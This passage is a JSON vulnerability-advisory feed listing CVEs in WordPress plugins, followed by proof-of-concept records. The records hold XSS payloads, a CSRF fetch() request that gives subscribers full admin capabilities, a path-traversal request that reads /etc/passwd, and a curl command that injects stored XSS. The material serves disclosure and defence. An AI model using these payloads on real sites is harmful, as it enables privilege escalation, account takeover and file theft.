"https://kb.prio-n.com/vulnerability/CVE-2023-1372", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-27T11:02:04", "description": "The Solidres WordPress plugin through 0.9.4 does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-04-03T15:15:00", "type": "prion", "title": "CVE-2023-1377", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1377"], "modified": "2023-04-08T22:36:00", "id": "PRION:CVE-2023-1377", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1377", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-10-02T02:23:23", "description": "The Bookly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the full name value in versions up to, and including, 21.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T13:15:00", "type": "prion", "title": "CVE-2023-1172", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1172"], "modified": "2023-03-23T14:55:00", "id": "PRION:CVE-2023-1172", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1172", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-10-02T02:04:02", "description": "The Shopping Cart & eCommerce Store WordPress plugin before 5.4.3 does not validate HTTP requests, allowing authenticated users with admin privileges to perform LFI attacks.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-04-03T15:15:00", "type": "prion", "title": "CVE-2023-1124", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1124"], "modified": "2023-04-08T22:26:00", "id": "PRION:CVE-2023-1124", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1124", "cvss": {"score": 5.8, "vector": "AV:N/AC:L/Au:M/C:P/I:P/A:P"}}, {"lastseen": "2023-08-27T11:02:54", "description": "The RapidLoad Power-Up for Autoptimize plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.7.1. This is due to missing or incorrect nonce validation on its AJAX actions. This makes it possible for unauthenticated attackers to invoke those functions, via forged request granted they can trick a site administrator into performing an action such as clicking on a link. Actions include resetting the API key, accessing or deleting log files, and deleting cache among others.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2023-03-17T15:15:00", "type": "prion", "title": "CVE-2023-1472", "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1472"], "modified": "2023-03-23T15:00:00", "id": "PRION:CVE-2023-1472", "href": "https://kb.prio-n.com/vulnerability/CVE-2023-1472", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wpexploit": [{"lastseen": "2023-06-25T20:47:53", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpexploit", "title": "Modern Events Calendar lite <= 5.16.2 - Admin+ Stored XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1400"], "modified": "2023-03-14T15:23:55", "id": "WPEX-ID:C7FECEEF-28F1-4CAC-B124-4B95E3F17B07", "href": "", "sourceData": "\r\n1. Go to the import/export section.\r\n\r\n2. Enter the following payload in the input fields of Google API key and Calendar ID: \"><img src=x onerror=alert(document.domain)>", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:50:15", "description": "The plugin does not protect against CSRF in requests to update role capabilities, leading to arbitrary privilege escalation of any role.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-13T00:00:00", "type": "wpexploit", "title": "User Role by BestWebSoft < 1.6.7 - Privilege Escalation via CSRF", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0820"], "modified": "2023-03-13T09:23:51", "id": "WPEX-ID:B93D9F9D-0FD9-49B8-B465-D32B95351912", "href": "", "sourceData": "Make a logged in admin open a page with the code below. Then, log in as a subscriber and see that you have full admin access.\r\n\r\n```\r\nfetch(\"/wp-admin/admin.php?page=srrl_add_new_roles\", {\r\n \"headers\": {\r\n \"content-type\": \"application/x-www-form-urlencoded\",\r\n },\r\n \"method\": \"POST\",\r\n \"body\": \"srrl_action=update&srrl_role_name=Subscriber&srrl_role_slug=subscriber&srrl_role_caps%5B%5D=activate_plugins&srrl_role_caps%5B%5D=delete_plugins&srrl_role_caps%5B%5D=edit_plugins&srrl_role_caps%5B%5D=install_plugins&srrl_role_caps%5B%5D=update_plugins&srrl_role_caps%5B%5D=delete_themes&srrl_role_caps%5B%5D=edit_theme_options&srrl_role_caps%5B%5D=edit_themes&srrl_role_caps%5B%5D=install_themes&srrl_role_caps%5B%5D=switch_themes&srrl_role_caps%5B%5D=update_themes&srrl_role_caps%5B%5D=add_users&srrl_role_caps%5B%5D=create_users&srrl_role_caps%5B%5D=delete_users&srrl_role_caps%5B%5D=edit_users&srrl_role_caps%5B%5D=list_users&srrl_role_caps%5B%5D=promote_users&srrl_role_caps%5B%5D=remove_users&srrl_role_caps%5B%5D=delete_others_pages&srrl_role_caps%5B%5D=delete_pages&srrl_role_caps%5B%5D=delete_private_pages&srrl_role_caps%5B%5D=delete_published_pages&srrl_role_caps%5B%5D=edit_others_pages&srrl_role_caps%5B%5D=edit_pages&srrl_role_caps%5B%5D=edit_private_pages&srrl_role_caps%5B%5D=edit_published_pages&srrl_role_caps%5B%5D=publish_pages&srrl_role_caps%5B%5D=read_private_pages&srrl_role_caps%5B%5D=delete_others_posts&srrl_role_caps%5B%5D=delete_posts&srrl_role_caps%5B%5D=delete_private_posts&srrl_role_caps%5B%5D=delete_published_posts&srrl_role_caps%5B%5D=edit_others_posts&srrl_role_caps%5B%5D=edit_posts&srrl_role_caps%5B%5D=edit_private_posts&srrl_role_caps%5B%5D=edit_published_posts&srrl_role_caps%5B%5D=publish_posts&srrl_role_caps%5B%5D=read_private_posts&srrl_role_caps%5B%5D=edit_dashboard&srrl_role_caps%5B%5D=edit_files&srrl_role_caps%5B%5D=export&srrl_role_caps%5B%5D=import&srrl_role_caps%5B%5D=manage_categories&srrl_role_caps%5B%5D=manage_links&srrl_role_caps%5B%5D=manage_options&srrl_role_caps%5B%5D=moderate_comments&srrl_role_caps%5B%5D=read&srrl_role_caps%5B%5D=unfiltered_html&srrl_role_caps%5B%5D=unfiltered_upload&srrl_role_caps%5B%5D=update_core&srrl_role_caps%5B%5D=upload_files&srrl_save=1\",\r\n \"credentials\": \"include\"\r\n}).then(response => response.text())\r\n .then(data => console.log(data));\r\n```", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T21:04:40", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpexploit", "title": "Solidres <= 0.9.4 - Admin+ Stored XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1374"], "modified": "2023-03-13T15:13:08", "id": "WPEX-ID:2AE3C4F9-5CE7-47E9-B35C-0E5CABD3EF9C", "href": "", "sourceData": "Add a new currency (/wp-admin/admin.php?page=sr-add-new-currency) with the following payload as Name: \"><scg/onload=alert(/XSS/)>", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:54:31", "description": "The plugin does not validate HTTP requests, allowing authenticated users with admin privileges to perform LFI attacks.\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-13T00:00:00", "type": "wpexploit", "title": "Shopping Cart & eCommerce Store < 5.4.3 - Admin+ LFI", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1124"], "modified": "2023-03-13T09:26:53", "id": "WPEX-ID:229B93CD-544B-4877-8D9F-E6DEBDA9511C", "href": "", "sourceData": "1. Login as Admin.\r\n2. Go to `wp-admin/admin.php?page=wp-easycart-products&subpage=products`\r\n3. Click on Import Products. Browse any file and click on import file. Intercept the request. It will contain the following:\r\n```\r\nPOST /wp-admin/admin-ajax.php?_fs_blog_admin=true HTTP/1.1\r\nCookie: wordpress_b92078c82d0f1044cdfb065e7ae28bec=admin%7C1675522971%; PHPSESSID=qp0lnu3uc71tv3hl6jcgsknnjd; wpeasycart_admin_perpage=25\r\naction=ec_admin_ajax_import_products&import_file_url=http%3A%2F%2F127.0.0.1%2Fwp-content%2Fuploads%2F2023%2F02%2Fresume_xss.png&wp_easycart_nonce=fd850a701e\r\n```\r\n4. Change the value of `import_file_url` to a file (ex: `/../../../../../etc/passwd`)\r\n5. Send the request and you will see that the contents of `/etc/passwd` is obtained\r\n\r\nNote: only first line is obtained in the response.", "cvss": {"score": 5.8, "vector": "AV:N/AC:L/Au:M/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T21:02:50", "description": "The plugin does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpexploit", "title": "Solidres <= 0.9.4 - Multiple Reflected XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1377"], "modified": "2023-03-13T15:13:11", "id": "WPEX-ID:C346FF80-C16B-4219-8983-708C64FA4A61", "href": "", "sourceData": "Make a logged in admin open\r\n\r\nhttps://example.com/wp-admin/admin.php?page=sr-assets&filter_city_listing=\"><svg/onload=alert(/XSS/)>\r\n\r\nhttps://example.com/wp-admin/admin.php?page=sr-reservations&filter_customer_fullname=\"><svg%2Fonload%3Dalert(%2FXSS-filter_customer_fullname%2F)>&filter_guest_fullname=\"><svg%2Fonload%3Dalert(%2FXSS-filter_guest_fullname%2F)>&filter_checkin_from=\"><svg/onload=alert(/XSS-filter_checkin_from/)>&filter_checkin_to=\"><svg/onload=alert(/XSS-filter_checkin_to/)>&filter_checkout_from=\"><svg/onload=alert(/XSS-filter_checkout_from/)>&filter_checkout_to=\"><svg/onload=alert(/XSS-filter_checkout_to/)>\r\n\r\nOther pages & parameters are affected", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:52:10", "description": "The plugin does not sanitise and escape the wh_homepage, wh_text_short and wh_text_full parameters of submitted Testimonials, which could allow unauthenticated attackers to perform Stored Cross-Site Scripting attacks\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-11T00:00:00", "type": "wpexploit", "title": "WH Testimonials <= 3.0.0 - Unauthenticated Stored XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-1372"], "modified": "2023-03-13T14:16:31", "id": "WPEX-ID:7F8E4A22-4349-483E-8071-07292AE96730", "href": "", "sourceData": "curl -X POST 'http://example.com/add/' \\\r\n-H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLKXxMfAqKI63OgZ4' \\\r\n-H 'Host: example.com' \\\r\n-H 'Content-Length: XXX' \\\r\n-d $'------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_clientname\"\\r\\n\\r\\nFirst Name\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_company\"\\r\\n\\r\\nLast Name\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_homepage\"\\r\\n\\r\\n\\\"><svg/onload=prompt(/XSS/)>\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_text_short\"\\r\\n\\r\\nShort Review\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_text_full\"\\r\\n\\r\\nLong Review\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"wh_sfimgurl\"; filename=\"\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormsoundaryLKXxMfAqKI63OgZ4\\r\\nContent-Disposition: form-data; name=\"Wh_addnew\"\\r\\n\\r\\nAdd Testimonial\\r\\n------WebKitFormBoundaryLKXxMfAqKI63OgZ4--\\r\\n'", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}]}
Wordfence Intelligence Weekly WordPress Vulnerability Report (Mar 13, 2023 to Mar 19, 2023)
